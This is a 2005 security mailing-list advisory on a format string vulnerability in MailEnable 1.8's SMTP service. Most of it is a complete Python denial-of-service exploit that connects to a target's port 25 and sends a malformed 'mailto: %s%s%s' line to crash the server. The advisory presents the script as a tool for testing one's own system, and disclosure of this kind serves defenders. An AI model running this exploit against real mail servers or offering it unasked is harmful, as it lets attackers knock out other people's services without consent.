[EXPL] MailEnable Format String Vulnerability

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To: list@securiteam.com
Date: 22 Mar 2005 09:55:17 +0200

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  MailEnable Format String Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://www.mailenable.com/> MailEnable's "mail server software provides
a powerful, scalable hosted messaging platform for Microsoft Windows".

MailEnable contains a format string vulnerability in the it handles SMTP
mailto: requests, the following exploit code can be used to test your
system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:
 * MailEnable version 1.8

Exploit:
#################################
# #
# See-security Technologies ltd. #
# #
# http://www.see-security.com #
# #
#################################
# #
# MailEnable 1.8 Format String DoS exploit #
# #
# Discovered by Mati Aharoni #
# #
# Coded by tal zeltzer #
# #
#################################

import sys
import time
import socket

def PrintLogo():
 print "#################################"
 print "# #"
 print "# See-security Technologies ltd. #"
 print "# #"
 print "# http://www.see-security.com #"
 print "# #"
 print "#################################"
 print "#"+" "*64+"#"
 print "# MailEnable 1.8 Format String DoS exploit #"
 print "#"+" "*64+"#"
 print "# Discovered by Mati Aharoni #"
 print "# #"
 print "# Coded by tal zeltzer #"
 print "#"+" "*64+"#"
 print "#"*66+"\n"

PrintLogo()
if (len(sys.argv) != 2):
 print "\n\n"
 print sys.argv[0] + " [Target Host]"
 sys.exit()
sSmtpSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[-] Connecting to " + sys.argv[1]
sSmtpSocket.connect((sys.argv[1],25))
print "[-] Connected to " + sys.argv[1]
print "[-] Sending malformed packet"
sSmtpSocket.send("mailto: %s%s%s\r\n")
sSmtpSocket.close()
print "[-] Malformed packet sent"

EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:tal@see-security.com> a a .
The original exploit can be found:
<http://www.hackingdefined.com/exploits/mailenable.tar.gz>
http://www.hackingdefined.com/exploits/mailenable.tar.gz

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